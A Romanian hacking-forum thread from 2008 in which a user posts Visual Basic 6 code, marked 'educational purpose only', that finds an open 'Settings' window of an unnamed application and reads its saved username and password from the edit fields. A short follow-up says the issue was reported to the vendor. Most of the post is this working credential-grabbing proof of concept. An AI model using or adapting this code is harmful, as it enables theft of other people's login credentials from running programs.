Nytro Posted December 13, 2008 Report Posted December 13, 2008 (edited) O modalitate in care puteti lua parola si userul daca fereastra "Settings" este deschisa . Educational purpose only . Codul este scris in VB6 :' (c) Nytro 2008' [URL]http://www.rstcenter.com/forum/[/URL]Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPrivate Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As LongPrivate Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As LongPrivate Declare Function GetWindow Lib "user32.dll" (ByVal hwnd As Long, ByVal wCmd As Long) As LongPrivate Const GW_HWNDNEXT As Long = 2Private Const Clasa As String = "WindowsForms10.Window.8.app.0.378734a"Private Const ClasaParola As String = "WindowsForms10.EDIT.app.0.378734a"Private Sub Form_Load()Dim handle, handle2, handle3, handle4, handle5, handle6 As LongDim titlu As String * 255Dim user, parola As Stringhandle = FindWindow(Clasa, " Settings")If handle <> 0 Thenhandle2 = FindWindowEx(handle, 0&, Clasa, vbNullString)handle3 = FindWindowEx(handle2, 0&, Clasa, vbNullString)handle4 = FindWindowEx(handle3, 0&, Clasa, "Start Up")handle5 = FindWindowEx(handle4, 0&, ClasaParola, vbNullString)handle6 = GetWindow(handle5, GW_HWNDNEXT)GetWindowText handle5, titlu, 255user = Trim(titlu)GetWindowText handle6, titlu, 255parola = Trim(titlu)MsgBox "User : " & userMsgBox "Parola : " & parolaEnd IfEnd SubConcluzie : De ce dracu lasa parola acolo ?Revin cu mai multe daca nu am ce face Edited December 13, 2008 by Nytro Quote
Nytro Posted December 17, 2008 Author Report Posted December 17, 2008 Nu e adevarat . Oricum am postat asta pe forumul lor si o sa scoata parola de acolo . Quote